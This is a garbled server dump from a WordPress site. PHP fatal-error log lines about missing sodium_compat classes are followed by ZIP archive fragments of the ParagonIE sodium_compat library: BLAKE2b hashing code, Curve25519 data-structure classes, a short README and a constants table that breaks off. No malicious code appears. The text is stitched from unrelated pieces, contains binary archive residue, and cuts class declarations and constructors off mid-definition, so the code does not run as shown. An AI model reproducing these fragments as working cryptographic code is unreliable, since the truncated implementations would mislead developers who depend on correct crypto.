error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [22-Aug-2025 04:25:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [22-Aug-2025 21:10:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [29-Aug-2025 23:20:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [29-Aug-2025 23:21:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [01-Sep-2025 17:17:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [01-Sep-2025 17:21:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [01-Sep-2025 17:25:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 PK,L[6(4W4Wsrc/Core32/BLAKE2b.phpnu[> */ public static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function new64($high, $low) { return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high); } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @return ParagonIE_Sodium_Core32_Int64 */ protected static function add64($x, $y) { return $x->addInt64($y); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @param ParagonIE_Sodium_Core32_Int64 $z * @return ParagonIE_Sodium_Core32_Int64 */ public static function add364($x, $y, $z) { return $x->addInt64($y)->addInt64($z); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @return ParagonIE_Sodium_Core32_Int64 * @throws TypeError */ public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y) { return $x->xorInt64($y); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c) { return $x->rotateRight($c); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function load64($x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param ParagonIE_Sodium_Core32_Int64 $u * @return void * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u) { $v = clone $u; $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { $k = 3 - ($j >> 1); $x[$i] = $v->limbs[$k] & 0xff; if (++$i > $maxLength) { return; } $v->limbs[$k] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void * @throws SodiumException * @throws TypeError */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @throws SodiumException * @throws TypeError */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedAssignment */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) { throw new TypeError('Not an int64'); } /** @var ParagonIE_Sodium_Core32_Int64 $c*/ $c = $ctx[1][0]; if ($c->isLessThanInt($inc)) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { /** @var int $i */ $ctx[3][$i + $ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) { throw new TypeError('Not an instance of Int64'); } /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */ $ctxAi = $ctxA[$i]; $str .= $ctxAi->toReverseString(); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { /** @var array $ctxA */ $ctxA = $ctx[$i]->toArray(); /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */ $ctxA1 = $ctxA[0]; /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */ $ctxA2 = $ctxA[1]; $str .= $ctxA1->toReverseString(); $str .= $ctxA2->toReverseString(); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), "\x00\x00\x00\x00" /* self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) */ )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, (($i << 3) + 0), 8) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, 72 + (($i - 1) << 4), 8) ); $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, 64 + (($i - 1) << 4), 8) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } PK,L[՗ilzzsrc/Core32/Curve25519/Fe.phpnu[ */ protected $container = array(); /** * @var int */ protected $size = 10; /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * @throws SodiumException * @throws TypeError */ public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $array[$i]->overflow = 0; $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { if (!($array[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected ParagonIE_Sodium_Core32_Int32'); } $array[$i]->overflow = 0; $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * @throws SodiumException * @throws TypeError */ public static function fromIntArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); $set = array(); /** @var int $i */ /** @var int $v */ foreach ($array as $i => $v) { $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v); } $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $set[$i]->overflow = 0; $obj->offsetSet($keys[$i], $set[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $set[$i]->overflow = 0; $obj->offsetSet($i, $set[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param mixed $offset * @param mixed $value * @return void * @throws SodiumException * @throws TypeError */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) { throw new InvalidArgumentException('Expected an instance of ParagonIE_Sodium_Core32_Int32'); } if (is_null($offset)) { $this->container[] = $value; } else { ParagonIE_Sodium_Core32_Util::declareScalarType($offset, 'int', 1); $this->container[(int) $offset] = $value; } } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return ParagonIE_Sodium_Core32_Int32 * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->container[$offset])) { $this->container[(int) $offset] = new ParagonIE_Sodium_Core32_Int32(); } /** @var ParagonIE_Sodium_Core32_Int32 $get */ $get = $this->container[$offset]; return $get; } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { if (empty($this->container)) { return array(); } $c = array( (int) ($this->container[0]->toInt()), (int) ($this->container[1]->toInt()), (int) ($this->container[2]->toInt()), (int) ($this->container[3]->toInt()), (int) ($this->container[4]->toInt()), (int) ($this->container[5]->toInt()), (int) ($this->container[6]->toInt()), (int) ($this->container[7]->toInt()), (int) ($this->container[8]->toInt()), (int) ($this->container[9]->toInt()) ); return array(implode(', ', $c)); } } PK,L[% $src/Core32/Curve25519/Ge/Precomp.phpnu[yplusx = $yplusx; if ($yminusx === null) { $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->yminusx = $yminusx; if ($xy2d === null) { $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->xy2d = $xy2d; } } PK,L[~g!src/Core32/Curve25519/Ge/P1p1.phpnu[X = $x; if ($y === null) { $y = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->Y = $y; if ($z === null) { $z = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->Z = $z; if ($t === null) { $t = ParagonIE_Sodium_Core32_Curve25519::fe_0(); } $this->T = $t; } } PK,L[6VVsrc/Core32/Curve25519/Ge/P3.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->T = $t; } } PK,L[}M  #src/Core32/Curve25519/Ge/Cached.phpnu[YplusX = $YplusX; if ($YminusX === null) { $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->YminusX = $YminusX; if ($Z === null) { $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $Z; if ($T2d === null) { $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->T2d = $T2d; } } PK,L[Íۤaasrc/Core32/Curve25519/Ge/P2.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core32_Curve25519_Fe(); } $this->Z = $z; } } PK,L[珉src/Core32/Curve25519/README.mdnu[# Curve25519 Data Structures These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h). PK,L[src/Core32/Curve25519/H.phpnu[>>> Basically, int[32][8][3][10] */ protected static $base = array( array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303), array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081), array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540), array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397), array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777), array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737), array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726), array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955), array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425), ), ), array( array( array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171), array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510), array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660), ), array( array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639), array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963), array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950), ), array( array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568), array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335), array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628), ), array( array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007), array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772), array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653), ), array( array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567), array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686), array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372), ), array( array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887), array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954), array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953), ), array( 